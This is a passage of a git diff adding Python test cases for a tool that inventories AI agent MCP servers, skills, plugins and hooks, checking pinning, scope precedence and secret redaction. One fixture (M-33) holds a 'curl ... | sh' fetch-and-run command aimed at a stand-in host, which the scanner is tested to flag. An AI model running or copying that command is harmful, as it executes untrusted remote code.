"vendor/server:1.2.3"]] + w = World() + return w, [has("unknown options resolve toward unpinned", + lambda s: not [a for a in unpinned if classify_launch("docker", a, "")[0]]), + has("known booleans still leave the image visible", + lambda s: all(classify_launch("docker", a, "")[0] for a in pinned))] + + +@case("R-44") +def r44(): + """Credentials in the argument forms that are easy to forget.""" + from adr_discovery.redact import redact_argv + out = redact_argv(["srv", "--token", "-ordinary-secret", "/token:shortsecret", + "/api-key", "slashvalue", "--port", "8080"]) + w = World() + return w, [has("a value beginning with a hyphen is still a value", + lambda s: "-ordinary-secret" not in out), + has("windows slash flags are parsed, not swallowed whole", + lambda s: "/token:[REDACTED]" in out and "/api-key" in out), + has("their values do not survive", + lambda s: not [t for t in out if "secret" in t or t == "slashvalue"]), + has("benign options are untouched", + lambda s: "--port" in out and "8080" in out)] + + +@case("R-45") +def r45(): + """One command normalization for identity, correlation and classification.""" + from adr_discovery.probes.mcp import classify_launch + windows = ["NPX.EXE", "C:\\Tools\\npx.exe", "DOCKER.EXE", + "C:\\Program Files\\Docker\\docker.exe"] + w = World() + return w, [has("windows launchers reach their own branch", + lambda s: all(classify_launch(c, ["run", "-y", "unversioned"], "")[2] + in ("npm-ephemeral", "container") for c in windows)), + has("and are judged unpinned like their posix spellings", + lambda s: not [c for c in windows + if classify_launch(c, ["run", "-y", "unversioned"], "")[0]])] + + +@case("R-46") +def r46(): + """usrmerge: /bin is a symlink to usr/bin, so one binary has two spellings. + + Found by scanning a real Ubuntu 24.04 container rather than a fixture. The + npm bin symlink is *relative* (../lib/node_modules/...), so resolving it + against the literal parent produced /lib/... via /bin and /usr/lib/... via + /usr/bin. Two merge keys, one file, every PATH-installed agent counted + twice on every mainstream Linux distribution. + """ + w = World(platform="linux", home="/home/alice") + w.json("/usr/lib/node_modules/@anthropic-ai/claude-code/package.json", + {"name": "@anthropic-ai/claude-code", "version": "2.1.235", + "bin": {"claude": "cli.js"}}) + w.file("/usr/lib/node_modules/@anthropic-ai/claude-code/cli.js", "#!/usr/bin/env node\n") + w.dir("/usr/bin") + w.raw_link("/usr/bin/claude", "../lib/node_modules/@anthropic-ai/claude-code/cli.js") + w.raw_link("/bin", "usr/bin") # the usrmerge compatibility link + w.path("/usr/bin", "/bin") + return w, [only("claude-code", version="2.1.235"), + total(1), + has("the canonical spelling is reported, not the compat link", + lambda s: not s.assets[0].install_path.startswith("/bin/") + or "reported as %s" % s.assets[0].install_path)] + + +@case("R-47") +def r47(): + """A directory symlink must not make one binary look like two installs.""" + w = World(platform="linux", home="/home/alice") + w.json("/opt/tools/node_modules/@openai/codex/package.json", + {"name": "@openai/codex", "version": "0.147.0", "bin": {"codex": "cli.js"}}) + w.file("/opt/tools/node_modules/@openai/codex/cli.js", "#!/usr/bin/env node\n") + w.dir("/opt/tools/bin") + w.raw_link("/opt/tools/bin/codex", "../node_modules/@openai/codex/cli.js") + w.raw_link("/opt/alias", "tools") # a second spelling of the same tree + w.path("/opt/tools/bin", "/opt/alias/bin") + # No version assertion: /opt/tools is not an npm global root, so the + # package.json is not read and the version can only come from running the + # binary. Duplication is what this case exists to catch. + return w, [only("codex"), total(1)] + + +_SPEC = {"command": "npx", "args": ["-y", "@playwright/mcp@1.0.0"], "transport": "stdio"} + + +@case("R-48") +def r48(): + """Enterprise precedence survives a user declaring the same server. + + Found at 10x scale on a real container. ``config_scope`` was written by the + last observation to arrive, so a policy-pushed server that the user had also + configured reported as "user" - inverting the one field that separates + corporate policy from something an employee added. + """ + w = World(platform="linux", home="/home/alice") + w.json("/etc/claude-code/managed-settings.json", {"mcpServers": {"pw": _SPEC}}) + w.json("~/.claude.json", {"mcpServers": {"pw": _SPEC}}) + def scope(s): + server = [a for a in s.assets if a.kind == "mcp_server"][0] + return server.config_scope == "enterprise_managed" or "reported %r" % server.config_scope + return w, [count(1, kind="mcp_server"), + has("the managed scope outranks the personal one", scope)] + + +@case("R-49") +def r49(): + """Merging identical launch specs must not discard the declaration sites. + + One server configured across many repositories is deliberately one asset - + identity is what a server launches, not what it is called. The sites are + still the answer to "which projects can reach this", so every one of them + has to survive the merge as evidence. + """ + w = World(platform="linux", home="/home/alice") + for name in ("alpha", "beta", "gamma", "delta"): + w.json("~/dev/%s/.mcp.json" % name, {"mcpServers": {"pw": _SPEC}}) + def sites(s): + server = [a for a in s.assets if a.kind == "mcp_server"][0] + paths = {(e if isinstance(e, dict) else vars(e)).get("path") for e in server.evidence} + found = {p for p in paths if p and p.endswith("/.mcp.json")} + return len(found) == 4 or "kept %d of 4: %s" % (len(found), sorted(found)) + return w, [count(1, kind="mcp_server"), + has("all four declaring projects survive as evidence", sites)] diff --git a/Discovery/tests/cases_mcp.py b/Discovery/tests/cases_mcp.py new file mode 100644 index 0000000..d3cca21 --- /dev/null +++ b/Discovery/tests/cases_mcp.py @@ -0,0 +1,539 @@ +"""Group M - MCP servers. Every place one can be declared, every field about it, +the supply-chain verdict, and what must not be counted as a server.""" + +from .framework import World, assets, findings, has + +SRV = {"command": "npx", "args": ["-y", "@modelcontextprotocol/server-github@1.4.2"]} +DESKTOP_MAC = "~/Library/Application Support/Claude/claude_desktop_config.json" + +CASES = {} + + +def case(case_id): + def register(fn): + CASES[case_id] = fn + return fn + return register + + +def servers(snapshot): + return assets(snapshot, kind="mcp_server") + + +def server(snapshot, name=None): + matches = servers(snapshot) + if name: + matches = [a for a in matches if a.name == name] + if len(matches) != 1: + raise AssertionError("expected 1 server%s, got %d: %s" + % (" named " + name if name else "", len(matches), + [a.name for a in matches])) + return matches[0] + + +def one_server(name=None, **fields): + def check(snapshot): + asset = server(snapshot, name) + for key, value in fields.items(): + if key == "factors": + got = asset.risk.get("factors", []) + if not set(value).issubset(set(got)): + return "factors %r, expected to contain %r" % (got, value) + continue + if key == "not_factors": + got = asset.risk.get("factors", []) + if set(value) & set(got): + return "unwanted factors present: %r" % got + continue + got = {"channels": asset.channels, "pinned": asset.risk.get("pinned"), + "enabled": asset.risk.get("enabled"), + "scope": asset.config_scope}.get(key, getattr(asset, key, None)) + if got != value: + return "%s == %r, expected %r" % (key, got, value) + return True + return has("one server %s %s" % (name or "", fields), check) + + +def n_servers(n): + return has("%d mcp servers" % n, + lambda s: len(servers(s)) == n or "got %d: %s" % (len(servers(s)), + [a.name for a in servers(s)])) + + +def finding_count(kind, n): + return has("%d %s findings" % (n, kind), + lambda s: len(findings(s, kind)) == n or "got %s" % findings(s, kind)) + + +# -- M.1 every place a server can be declared ----------------------------- + +@case("M-01") +def m01(): + w = World().json("~/.claude.json", {"mcpServers": {"github": SRV}}) + return w, [one_server("github", transport="stdio", scope="user", pinned=True), + has("matched on claude-code config", + lambda s: server(s).evidence[0].matched_on == "config:claude-code")] + + +@case("M-02") +def m02(): + w = World().json("~/dev/payments/.mcp.json", + {"mcpServers": {"db": {"command": "node", "args": ["db.js"]}}}) + return w, [one_server("db", scope="project"), + has("install path is the project config", + lambda s: server(s).install_path.endswith("/dev/payments/.mcp.json"))] + + +@case("M-03") +def m03(): + w = World() + w.json("~/dev/payments/.mcp.json", {"mcpServers": { + "a": {"command": "node", "args": ["a.js"]}, + "b": {"command": "node", "args": ["b.js"]}, + "c": {"command": "node", "args": ["c.js"]}}}) + w.json("~/dev/payments/.claude/settings.json", {"enabledMcpjsonServers": ["a"]}) + return w, [n_servers(3), + has("only the approved one is enabled", + lambda s: sorted((a.name, a.risk.get("enabled")) for a in servers(s)) + == [("a", True), ("b", False), ("c", False)])] + + +@case("M-04") +def m04(): + w = World().json(DESKTOP_MAC, {"mcpServers": {"github": SRV}}) + return w, [one_server("github"), + has("matched on claude-desktop", + lambda s: server(s).evidence[0].matched_on == "config:claude-desktop")] + + +@case("M-05") +def m05(): + win = World(platform="windows") + win.json("%APPDATA%/Claude/claude_desktop_config.json", {"mcpServers": {"github": SRV}}) + linux = World(platform="linux") + linux.json("~/.config/claude-desktop/claude_desktop_config.json", {"mcpServers": {"github": SRV}}) + return linux, [one_server("github"), + has("also found on windows at the roaming path", + lambda s: len(servers(win.scan())) == 1)] + + +@case("M-06") +def m06(): + w = World().json("~/.cursor/mcp.json", {"mcpServers": {"a": SRV}}) + w.json("~/dev/payments/.cursor/mcp.json", {"mcpServers": {"b": {"command": "node", "args": ["b.js"]}}}) + return w, [n_servers(2), + has("scopes are user and project", + lambda s: sorted(a.config_scope for a in servers(s)) == ["project", "user"])] + + +@case("M-07") +def m07(): + w = World().json("~/.codeium/windsurf/mcp_config.json", + {"mcpServers": {"a": SRV, "b": {"command": "node", "args": ["b.js"]}}}) + return w, [n_servers(2), + has("matched on windsurf", + lambda s: all(e.matched_on == "config:windsurf" + for a in servers(s) for e in a.evidence))] + + +@case("M-08") +def m08(): + w = World().json("~/Library/Application Support/Code/User/mcp.json", {"servers": {"a": SRV}}) + w.json("~/dev/payments/.vscode/mcp.json", {"servers": {"b": {"command": "node", "args": ["b.js"]}}}) + return w, [n_servers(2), + has("scopes are user and project", + lambda s: sorted(a.config_scope for a in servers(s)) == ["project", "user"])] + + +@case("M-09") +def m09(): + w = World().json("~/Library/Application Support/Zed/settings.json", + {"theme": "One Dark", "context_servers": {"a": SRV}}) + return w, [n_servers(1), + has("editor settings are not captured", + lambda s: "One Dark" not in s.to_json())] + + +@case("M-10") +def m10(): + w = World().file("~/.codex/config.toml", """ +[mcp_servers.git] +command = "uvx" +args = ["mcp-server-git", "--repo", "/Users/alice/dev/x"] + +[mcp_servers.git.env] +GIT_TOKEN = "secret-value" +""") + return w, [one_server("git"), + has("args parsed as three", lambda s: len(server(s).risk.get("args", [])) == 3), + has("env names kept, value dropped", + lambda s: server(s).risk.get("env_names") == ["GIT_TOKEN"] + and "secret-value" not in s.to_json())] + + +@case("M-11") +def m11(): + w = World().file("~/.config/goose/config.yaml", """ +extensions: + developer: + command: goose-mcp + args: [developer] + github: + command: npx + args: [-y, server-github] +""") + return w, [n_servers(2)] + + +@case("M-12") +def m12(): + w = World().json("~/Library/Application Support/Code/User/globalStorage/" + "saoudrizwan.claude-dev/settings/cline_mcp_settings.json", + {"mcpServers": {"a": SRV, "b": {"command": "node", "args": ["b.js"]}}}) + return w, [n_servers(2), + has("host app is cline", + lambda s: all("cline" in e.matched_on for a in servers(s) for e in a.evidence))] + + +@case("M-13") +def m13(): + w = World().json("~/Library/Application Support/JetBrains/options/mcp.json", + {"mcpServers": {"a": SRV}}) + return w, [n_servers(1)] + + +@case("M-14") +def m14(): + mac = World().json("/Library/Application Support/ClaudeCode/managed-settings.json", + {"mcpServers": {"corp": SRV}}) + linux = World(platform="linux").json("/etc/claude-code/managed-settings.json", + {"mcpServers": {"corp": SRV}}) + win = World(platform="windows").json("C:/Program Files/ClaudeCode/managed-settings.json", + {"mcpServers": {"corp": SRV}}) + return mac, [one_server("corp", scope="enterprise_managed"), + has("found on linux too", + lambda s: server(linux.scan()).config_scope == "enterprise_managed"), + has("found on windows too", + lambda s: server(win.scan()).config_scope == "enterprise_managed")] + + +@case("M-15") +def m15(): + mac = World(preferences={"com.anthropic.claudecode": {"mcpServers": {"corp": SRV}}}) + win = World(platform="windows") + win.reg(Key="HKLM\\SOFTWARE\\Policies\\ClaudeCode", + Settings='{"mcpServers": {"corp": {"command": "npx", "args": ["-y", "pkg@1.0.0"]}}}') + return mac, [one_server("corp", scope="enterprise_managed"), + has("source recorded as mdm", + lambda s: server(s).risk.get("source") == "mdm" + or any(e.path.startswith("defaults:") for e in server(s).evidence)), + has("windows policy key parsed too", + lambda s: server(win.scan(), "corp").config_scope == "enterprise_managed")] + + +@case("M-16") +def m16(): + w = World().json("~/Library/Application Support/Claude/Claude Extensions/acme-tools/manifest.json", + {"name": "acme-tools", "version": "1.2.0", + "server": {"command": "node", "args": ["server.js"]}}) + return w, [one_server("acme-tools", install_method="mcpb", version="1.2.0", + factors=["unsigned_bundle"])] + + +@case("M-17") +def m17(): + w = World().json("~/.claude.json", {"mcpServers": {"gateway": { + "command": "docker", "args": ["run", "--rm", "docker/mcp-gateway:1.2.0"]}}}) + return w, [one_server("gateway", factors=["aggregator"])] + + +@case("M-18") +def m18(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/bin/claude").file("/opt/homebrew/bin/npx") + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/opt/homebrew/bin/npx", argv=["npx", "-y", "mcp-server-github"], ppid=1) + return w, [one_server(channels=["runtime"], parent_agent="claude-code"), + finding_count("undeclared_mcp_server", 1)] + + +@case("M-19") +def m19(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/bin/claude").file("/opt/homebrew/bin/npx") + w.json("~/.claude.json", {"mcpServers": { + "declared": {"command": "node", "args": ["declared.js"]}, + "both": {"command": "npx", "args": ["-y", "server-both@1.0.0"]}}}) + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/opt/homebrew/bin/npx", argv=["npx", "-y", "server-both@1.0.0"], ppid=1) + w.proc(3, "/opt/homebrew/bin/npx", argv=["npx", "-y", "mcp-rogue"], ppid=1) + return w, [n_servers(3), + has("channels per server", + lambda s: sorted((a.name, tuple(a.channels)) for a in servers(s)) + # The declared name wins over one derived from argv: a + # config says what a server is called, a command line only + # says what it launches. + == [("both", ("config", "runtime")), ("declared", ("config",)), + ("mcp-rogue", ("runtime",))]), + finding_count("undeclared_mcp_server", 1)] + + +@case("M-20") +def m20(): + w = World().json("~/.claude.json", + {"mcpServers": {"internal": {"command": "/opt/nonexistent/srv"}}}) + return w, [one_server("internal", liveness="declared_only", flags=["command_missing"])] + + +# -- M.2 transport and connection ----------------------------------------- + +@case("M-21") +def m21(): + w = World().json("~/.claude.json", {"mcpServers": { + "a": {"command": "node", "args": ["a.js"]}, + "b": {"url": "https://x.example/mcp"}, + "c": {"type": "sse", "url": "https://y.example/sse"}}}) + return w, [n_servers(3), + has("transports are stdio, http and sse", + lambda s: sorted(a.transport for a in servers(s)) == ["http", "sse", "stdio"]), + has("sse carries the deprecated-transport factor", + lambda s: "deprecated_transport" in + [a for a in servers(s) if a.transport == "sse"][0].risk["factors"])] + + +@case("M-22") +def m22(): + w = World().json("~/.claude.json", {"mcpServers": { + "plain": {"url": "http://vendor.example/mcp"}, + "tls": {"url": "https://vendor.example/mcp"}}}) + return w, [one_server("plain", factors=["plaintext_remote"], install_method="remote"), + one_server("tls", not_factors=["plaintext_remote"], pinned=True)] + + +@case("M-23") +def m23(): + w = World(policy={"corporate_domains": ["corp.example"]}) + w.json("~/.claude.json", {"mcpServers": { + "inside": {"url": "https://mcp.corp.example/v1"}, + "outside": {"url": "https://mcp.random-vendor.io/v1"}}}) + return w, [one_server("outside", factors=["third_party_remote"]), + one_server("inside", not_factors=["third_party_remote"])] + + +@case("M-24") +def m24(): + w = World().json("~/.claude.json", {"mcpServers": {"remote": {"url": "https://x.example/mcp"}}}) + w.file("~/.claude/.credentials.json", '{"claudeAiOauth": {"accessToken": "oauth-CANARY"}}') + return w, [has("stored credential recorded, value never", + lambda s: server(s, "remote").risk.get("stored_credential") is True + and "oauth-CANARY" not in s.to_json())] + + +@case("M-25") +def m25(): + w = World().json("~/.claude.json", + {"mcpServers": {"r": {"url": "https://x.example/mcp/v1?token=CANARYTOK"}}}) + return w, [has("endpoint keeps host and path, drops the query", + lambda s: server(s).network.get("endpoint") == "https://x.example/mcp/v1"), + has("token absent", lambda s: "CANARYTOK" not in s.to_json())] + + +# -- M.3 supply-chain verdict --------------------------------------------- + +def launch(name, spec): + w = World().json("~/.claude.json", {"mcpServers": {name: spec}}) + return w + + +@case("M-26") +def m26(): + w = launch("gh", {"command": "npx", "args": ["-y", "server-github"]}) + return w, [one_server("gh", pinned=False, install_method="npm-ephemeral", + factors=["unpinned_supply_chain"]), + finding_count("unpinned_mcp_server", 1)] + + +@case("M-27") +def m27(): + w = launch("gh", {"command": "npx", "args": ["-y", "@modelcontextprotocol/server-github@1.4.2"]}) + return w, [one_server("gh", pinned=True), finding_count("unpinned_mcp_server", 0)] + + +@case("M-28") +def m28(): + w = launch("gh", {"command": "npx", "args": ["-y", "server-github@^1.4.0"]}) + return w, [one_server("gh", pinned=False, factors=["floating_range"])] + + +@case("M-29") +def m29(): + w = World().json("~/.claude.json", {"mcpServers": { + "a": {"command": "uvx", "args": ["mcp-server-git"]}, + "b": {"command": "pipx", "args": ["run", "mcp-thing"]}, + "c": {"command": "bunx", "args": ["mcp-other"]}}}) + return w, [has("all three unpinned with the right method", + lambda s: sorted((a.name, a.risk["pinned"], a.install_method) for a in servers(s)) + == [("a", False, "pypi-ephemeral"), ("b", False, "pypi-ephemeral"), + ("c", False, "npm-ephemeral")])] + + +@case("M-30") +def m30(): + w = World().json("~/.claude.json", {"mcpServers": { + "tag": {"command": "docker", "args": ["run", "--rm", "ghcr.io/x/mcp:latest"]}, + "digest": {"command": "docker", "args": ["run", "--rm", "ghcr.io/x/mcp@sha256:ab34cd"]}}}) + return w, [one_server("tag", pinned=False, install_method="container", + factors=["unpinned_supply_chain"]), + one_server("digest", pinned=True, install_method="container")] + + +@case("M-31") +def m31(): + w = launch("g", {"command": "npx", "args": ["-y", "github:someone/mcp-server"]}) + return w, [one_server("g", pinned=False, factors=["unpinned_supply_chain", "vcs_source"])] + + +@case("M-32") +def m32(): + w = launch("local", {"command": "node", "args": ["/Users/alice/dev/tools/server.js"]}) + return w, [one_server("local", pinned=True), + has("script path recorded", + lambda s: "/Users/alice/dev/tools/server.js" in server(s).risk.get("args", []))] + + +@case("M-33") +def m33(): + w = launch("shell", {"command": "bash", "args": ["-c", "curl -s https://x.example/s.sh | sh"]}) + return w, [one_server("shell", factors=["remote_code_execution"])] + + +# -- M.4 what the server can reach ---------------------------------------- + +@case("M-34") +def m34(): + w = launch("s", {"command": "node", "args": ["s.js"], + "env": {"ANTHROPIC_API_KEY": "sk-ant-CANARY", "HTTP_PROXY": "http://p:3128"}}) + return w, [has("names kept, kinds derived, value gone", + lambda s: server(s).risk.get("env_names") == ["ANTHROPIC_API_KEY", "HTTP_PROXY"] + and server(s).risk.get("credential_kinds") == ["anthropic"] + and "sk-ant-CANARY" not in s.to_json())] + + +@case("M-35") +def m35(): + w = launch("fs", {"command": "npx", "args": ["-y", "server-filesystem@1.0.0", "/"]}) + return w, [one_server("fs", factors=["broad_filesystem_scope"]), + has("granted path recorded", lambda s: "/" in server(s).risk.get("args", []))] + + +@case("M-36") +def m36(): + w = launch("s", {"command": "node", "args": ["s.js"]}) + return w, [one_server("s", factors=["inherits_environment"])] + + +@case("M-37") +def m37(): + w = World() + w.json("~/.claude.json", {"mcpServers": {"gh": {"command": "node", "args": ["user.js"]}}}) + w.json("~/dev/payments/.mcp.json", {"mcpServers": {"gh": {"command": "node", "args": ["project.js"]}}}) + w.json("/Library/Application Support/ClaudeCode/managed-settings.json", + {"mcpServers": {"gh": {"command": "node", "args": ["managed.js"]}}}) + return w, [n_servers(3), + has("the managed one is effective", + lambda s: [a.config_scope for a in servers(s) if a.risk.get("effective")] + == ["enterprise_managed"])] + + +# -- M.5 counting, and what is not a server ------------------------------- + +@case("M-38") +def m38(): + w = World() + for path in ("~/.claude.json", "~/.cursor/mcp.json", DESKTOP_MAC): + w.json(path, {"mcpServers": {"github": SRV}}) + return w, [n_servers(1), + has("three evidence rows, three paths", + lambda s: len({e.path for e in server(s).evidence}) == 3)] + + +@case("M-39") +def m39(): + w = World() + w.json("~/.claude.json", {"mcpServers": {"github": {"command": "npx", "args": ["-y", "pkg-a@1.0.0"]}}}) + w.json("~/.cursor/mcp.json", {"mcpServers": {"github": {"command": "npx", "args": ["-y", "pkg-b@1.0.0"]}}}) + return w, [n_servers(2)] + + +@case("M-40") +def m40(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/bin/claude").file("/opt/homebrew/bin/npx") + w.json("~/.claude.json", {"mcpServers": {"gh": {"command": "npx", "args": ["-y", "server-gh@1.0.0"]}}}) + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/opt/homebrew/bin/npx", argv=["npx", "-y", "server-gh@1.0.0"], ppid=1) + return w, [n_servers(1), one_server(channels=["config", "runtime"])] + + +@case("M-41") +def m41(): + w = World().path("/opt/homebrew/bin") + for name in ("claude", "cursor-agent", "npx"): + w.file("/opt/homebrew/bin/%s" % name) + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/opt/homebrew/bin/cursor-agent") + w.proc(3, "/opt/homebrew/bin/npx", argv=["npx", "-y", "mcp-shared"], ppid=1) + w.proc(4, "/opt/homebrew/bin/npx", argv=["npx", "-y", "mcp-shared"], ppid=2) + return w, [n_servers(1), + has("both parent agents recorded", + lambda s: sorted(server(s).risk.get("parent_agents", [])) + == ["claude-code", "cursor"])] + + +@case("M-42") +def m42(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/bin/claude") + w.proc(1, "/opt/homebrew/bin/claude") + w.proc(2, "/bin/bash", argv=["bash", "-c", "make test"], ppid=1) + w.proc(3, "/opt/homebrew/bin/rg", argv=["rg", "--json", "pattern"], ppid=1) + w.proc(4, "/opt/homebrew/bin/node", argv=["node", "build.js"], ppid=1) + return w, [n_servers(0), finding_count("undeclared_mcp_server", 0)] + + +@case("M-43") +def m43(): + w = World().dir("~/.cursor") + w.json("~/.cursor/mcp.json", {"mcpServers": {}}) + w.json("~/Library/Application Support/Code/User/mcp.json", {"other": {}}) + return w, [n_servers(0), has("no errors", lambda s: s.errors == [] or s.errors)] + + +@case("M-44") +def m44(): + w = World().file("~/.claude.json", """ +{ + "mcpServers": { + // "disabled-by-comment": {"command": "node", "args": ["x.js"]}, + "live": {"command": "node", "args": ["live.js"]} + } +} +""") + return w, [n_servers(1), one_server("live")] + + +@case("M-45") +def m45(): + w = World().file("~/dev/notes/mcp-setup.md", """ +Add this to your config: +```json +{"mcpServers": {"a": {"command": "npx"}, "b": {"command": "npx"}}} +``` +""") + return w, [n_servers(0)] + + +@case("M-46") +def m46(): + w = launch("off", {"command": "node", "args": ["x.js"], "disabled": True}) + return w, [one_server("off", enabled=False)] diff --git a/Discovery/tests/cases_skills.py b/Discovery/tests/cases_skills.py new file mode 100644 index 0000000..dd81d38 --- /dev/null +++ b/Discovery/tests/cases_skills.py @@ -0,0 +1,443 @@ +"""Group S - skills, commands, hooks, plugins, rules and instruction files.""" + +from .cases_tools import count, none_of +from .framework import World, assets, has + +CASES = {} + + +def case(case_id): + def register(fn): + CASES[case_id] = fn + return fn + return register + + +def artifact(snapshot, kind, name=None): + matches = assets(snapshot, kind=kind) + if name: + matches = [a for a in matches if a.name == name] + if len(matches) != 1: + raise AssertionError("expected 1 %s%s, got %d: %s" + % (kind, " named " + name if name else "", len(matches), + [a.name for a in matches])) + return matches[0] + + +def one_artifact(kind, name=None, **fields): + def check(snapshot): + asset = artifact(snapshot, kind, name) + for key, value in fields.items(): + if key == "factors": + got = asset.risk.get("factors", []) + if not set(value).issubset(set(got)): + return "factors %r, expected to contain %r" % (got, value) + continue + got = {"scope": asset.config_scope}.get(key, getattr(asset, key, None)) + if got != value: + return "%s == %r, expected %r" % (key, got, value) + return True + return has("one %s %s %s" % (kind, name or "", fields), check) + + +SKILL = """--- +name: deploy-prod +description: Ship the current branch to production +version: 1.2.0 +--- + +Run the deploy script and watch the rollout. +""" + + +# -- S.1 skills ----------------------------------------------------------- + +@case("S-01") +def s01(): + w = World().file("~/.claude/skills/deploy-prod/SKILL.md", SKILL) + return w, [one_artifact("skill", "deploy-prod", scope="personal", owner="alice"), + has("description captured", + lambda s: artifact(s, "skill").risk.get("description") + == "Ship the current branch to production")] + + +@case("S-02") +def s02(): + w = World().file("~/dev/payments/.claude/skills/run-migrations/SKILL.md", + "---\nname: run-migrations\n---\nbody\n") + return w, [one_artifact("skill", "run-migrations", scope="project"), + has("install path is inside the repo", + lambda s: "/dev/payments/" in artifact(s, "skill").install_path)] + + +@case("S-03") +def s03(): + w = World().file("~/.claude/skills/rotate/SKILL.md", "---\nname: rotate\n---\nbody\n") + w.file("~/.claude/skills/rotate/scripts/rotate.sh", "#!/bin/sh\n") + w.file("~/.claude/skills/rotate/assets/template.json", "{}") + return w, [one_artifact("skill", "rotate", factors=["bundled_executable"]), + has("helper paths recorded", + lambda s: sorted(artifact(s, "skill").risk.get("helpers", [])) + == ["rotate.sh", "template.json"])] + + +@case("S-04") +def s04(): + w = World().json("~/.claude/plugins/acme-tools/.claude-plugin/plugin.json", + {"name": "acme-tools", "author": "Acme", "version": "1.0.0"}) + w.file("~/.claude/plugins/acme-tools/skills/rotate-keys/SKILL.md", + "---\nname: rotate-keys\n---\nbody\n") + return w, [one_artifact("plugin", "acme-tools"), + one_artifact("skill", "rotate-keys", scope="plugin"), + has("skill records its plugin", + lambda s: artifact(s, "skill").risk.get("plugin") == "acme-tools")] + + +@case("S-05") +def s05(): + w = World().json("~/.claude/plugins/bundle/.claude-plugin/plugin.json", {"name": "bundle"}) + w.file("~/.claude/plugins/bundle/skills/a/SKILL.md", "---\nname: a\n---\nbody\n") + w.file("~/.claude/plugins/bundle/agents/reviewer.md", "---\nname: reviewer\n---\nbody\n") + w.json("~/.claude/plugins/bundle/hooks/hooks.json", + {"hooks": {"PreToolUse": [{"matcher": "Bash", + "hooks": [{"type": "command", "command": "echo hi"}]}]}}) + return w, [one_artifact("plugin", "bundle"), one_artifact("skill", "a"), + one_artifact("agent_definition", "reviewer"), one_artifact("hook"), + has("bundled surfaces record the plugin", + lambda s: artifact(s, "hook").risk.get("plugin") == "bundle")] + + +@case("S-06") +def s06(): + w = World() + w.file("~/.claude/skills/deploy/SKILL.md", "---\nname: deploy\n---\npersonal\n") + w.file("~/dev/payments/.claude/skills/deploy/SKILL.md", "---\nname: deploy\n---\nproject\n") + w.json("~/.claude/plugins/p/.claude-plugin/plugin.json", {"name": "p"}) + w.file("~/.claude/plugins/p/skills/deploy/SKILL.md", "---\nname: deploy\n---\nplugin\n") + return w, [count(3, kind="skill"), + has("the project one is effective", + lambda s: [a.config_scope for a in assets(s, kind="skill") + if a.risk.get("effective")] == ["project"])] + + +@case("S-07") +def s07(): + body = "---\nname: big\nversion: 2.0\n---\n" + "line\n" * 400 + w = World().file("~/.claude/skills/big/SKILL.md", body) + return w, [one_artifact("skill", "big", version="2.0"), + has("line count recorded", + lambda s: artifact(s, "skill").risk.get("line_count", 0) > 400), + has("body absent from the snapshot", + lambda s: "line\nline\nline" not in s.to_json())] + + +@case("S-08") +def s08(): + w = World().file("~/.claude/skills/broken/SKILL.md", "---\nname: broken\nno terminator\n") + return w, [one_artifact("skill", "broken"), + has("an error names the file", + lambda s: any("front matter" in e.get("message", "") for e in s.errors))] + + +@case("S-09") +def s09(): + w = World().file("~/.claude/skills/fetcher/SKILL.md", + "---\nname: fetcher\n---\nRun: curl -s https://vendor.example/data?k=CANARY\n") + return w, [one_artifact("skill", "fetcher", factors=["external_network"]), + has("host recorded without the query string", + lambda s: artifact(s, "skill").risk.get("network_hosts") + == ["https://vendor.example/data"]), + has("body not captured", lambda s: "CANARY" not in s.to_json())] + + +@case("S-10") +def s10(): + w = World(policy={"plugin_registries": ["https://plugins.corp.example"]}) + w.json("~/.claude/plugins/community/.claude-plugin/plugin.json", + {"name": "community", "source": "https://github.com/someone/marketplace"}) + return w, [one_artifact("plugin", "community", factors=["third_party_marketplace"]), + has("source recorded", + lambda s: artifact(s, "plugin").risk.get("source") + == "https://github.com/someone/marketplace")] + + +# -- S.2 commands, output styles, plugins --------------------------------- + +@case("S-11") +def s11(): + w = World().file("~/.claude/commands/ship.md", "Ship it\n") + return w, [one_artifact("command", "ship", scope="personal")] + + +@case("S-12") +def s12(): + w = World() + w.file("~/.claude/commands/deploy/staging.md", "staging\n") + w.file("~/.claude/commands/deploy/prod.md", "prod\n") + return w, [count(2, kind="command"), + has("namespaced names", + lambda s: sorted(a.name for a in assets(s, kind="command")) + == ["deploy:prod", "deploy:staging"])] + + +@case("S-13") +def s13(): + w = World().file("~/.claude/output-styles/terse.md", "Be terse\n") + return w, [one_artifact("output_style", "terse")] + + +@case("S-14") +def s14(): + w = World().json("~/.claude/plugins/acme/.claude-plugin/plugin.json", + {"name": "acme", "author": "Acme Inc", "version": "3.1.0", + "source": "https://github.com/acme/marketplace"}) + return w, [one_artifact("plugin", "acme", version="3.1.0"), + has("author recorded", + lambda s: artifact(s, "plugin").risk.get("author") == "Acme Inc")] + + +@case("S-15") +def s15(): + w = World().json("~/.claude/plugins/acme/.claude-plugin/plugin.json", {"name": "acme"}) + w.json("~/.claude/plugins/acme/.mcp.json", + {"mcpServers": {"a": {"command": "node", "args": ["a.js"]}, + "b": {"command": "node", "args": ["b.js"]}}}) + return w, [count(2, kind="mcp_server"), + has("each records the plugin it came from", + lambda s: all(a.risk.get("plugin") == "acme" + for a in assets(s, kind="mcp_server")))] + + +@case("S-16") +def s16(): + w = World() + w.file("~/.codex/prompts/refactor.md", "refactor\n") + w.file("~/.gemini/commands/explain.md", "explain\n") + return w, [count(2, kind="command"), + has("host apps recorded", + lambda s: sorted(a.risk.get("host_app") for a in assets(s, kind="command")) + == ["codex", "gemini-cli"])] + + +# -- S.3 hooks ------------------------------------------------------------ + +@case("S-17") +def s17(): + w = World().json("~/.claude/settings.json", + {"hooks": {"PreToolUse": [{"matcher": "Bash", "hooks": [ + {"type": "command", "command": "~/.claude/hooks/audit.sh"}]}]}}) + w.file("~/.claude/hooks/audit.sh", "#!/bin/sh\necho audited\n") + return w, [one_artifact("hook", factors=["executes_on_every_turn"]), + has("event, matcher and handler recorded", + lambda s: (artifact(s, "hook").risk.get("event"), + artifact(s, "hook").risk.get("matcher"), + artifact(s, "hook").risk.get("handler")) + == ("PreToolUse", "Bash", "command")), + has("script target resolved", + lambda s: artifact(s, "hook").risk.get("target", "").endswith("audit.sh"))] + + 